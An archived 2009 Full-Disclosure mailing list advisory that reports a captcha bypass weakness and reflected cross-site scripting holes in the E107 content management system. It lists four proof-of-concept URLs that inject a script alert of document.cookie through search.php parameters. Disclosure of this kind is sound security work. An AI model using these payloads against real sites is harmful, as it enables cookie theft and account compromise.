| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: Sat, 26 Sep 2009 18:53:49 +0300 From: "MustLive" <mustlive@...security.com.ua> To: <full-disclosure@...ts.grok.org.uk> Subject: Vulnerabilities in E107 Hello Full-Disclosure! I want to warn you about Insufficient Anti-automation and Cross-Site Scripting vulnerabilities in E107. I found XSS holes in October 2006 and Insufficient Anti-automation in November 2007, and disclosed them at 30.01.2009. Insufficient Anti-Automation: Vulnerability is in captcha at send link to news page (http://site/email.php?news.1). And this captcha is also used at registration page and forget password page. http://websecurity.com.ua/uploads/2009/E107%20CAPTCHA%20bypass.html Captcha is vulnerable to half-automated bypass method (http://websecurity.com.ua/1595/), which I described in my project Month of Bugs in Captchas (http://websecurity.com.ua/category/mobic/). XSS: Vulnerabilities are in search.php in parameters in, ex, ep and be. http://site/search.php?in=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E http://site/search.php?ex=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E http://site/search.php?ep=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E http://site/search.php?be=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E For XSS are vulnerable old versions of E107 and for Insufficient Anti-automation are vulnerable all versions of E107. I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/2841/). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists